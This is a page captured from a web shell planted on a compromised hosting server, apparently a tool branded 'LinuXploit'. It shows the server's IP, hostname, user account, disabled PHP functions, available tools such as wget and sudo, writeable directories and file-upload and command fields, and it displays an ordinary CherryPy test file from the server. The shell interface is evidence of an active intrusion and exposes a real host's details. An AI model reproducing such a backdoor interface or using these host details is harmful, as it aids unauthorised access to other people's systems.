403Webshell
Server IP : 199.250.200.62  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/cwd/proc/2/cwd/opt/imh-python/lib/python3.9/site-packages/cherrypy/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/2/cwd/proc/2/cwd/opt/imh-python/lib/python3.9/site-packages/cherrypy/test/test_native.py
"""Test the native server."""

import pytest
from requests_toolbelt import sessions

import cherrypy._cpnative_server


pytestmark = pytest.mark.skipif(
    'sys.platform == "win32"',
    reason='tests fail on Windows',
)


@pytest.fixture
def cp_native_server(request):
    """A native server."""
    class Root(object):
        @cherrypy.expose
        def index(self):
            return 'Hello World!'

    cls = cherrypy._cpnative_server.CPHTTPServer
    cherrypy.server.httpserver = cls(cherrypy.server)

    cherrypy.tree.mount(Root(), '/')
    cherrypy.engine.start()
    request.addfinalizer(cherrypy.engine.stop)
    url = 'http://localhost:{cherrypy.server.socket_port}'.format(**globals())
    return sessions.BaseUrlSession(url)


def test_basic_request(cp_native_server):
    """A request to a native server should succeed."""
    resp = cp_native_server.get('/')
    assert resp.ok
    assert resp.status_code == 200
    assert resp.text == 'Hello World!'

Youez - 2016 - github.com/yon3zu
LinuXploit